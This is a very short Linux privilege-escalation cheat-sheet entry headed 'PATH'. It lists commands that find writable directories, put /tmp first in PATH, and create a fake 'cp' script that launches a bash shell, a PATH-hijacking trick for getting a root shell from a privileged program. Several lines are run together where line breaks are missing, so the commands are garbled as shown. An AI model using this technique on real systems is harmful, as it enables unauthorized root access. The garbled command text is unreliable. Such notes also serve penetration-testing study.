PATH

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -uexport PATH=/tmp:$PATH
# replace /tmp to your pathecho -e '#!/bin/bash\n/bin/bash' > /tmp/cp
chmod +x /tmp/cp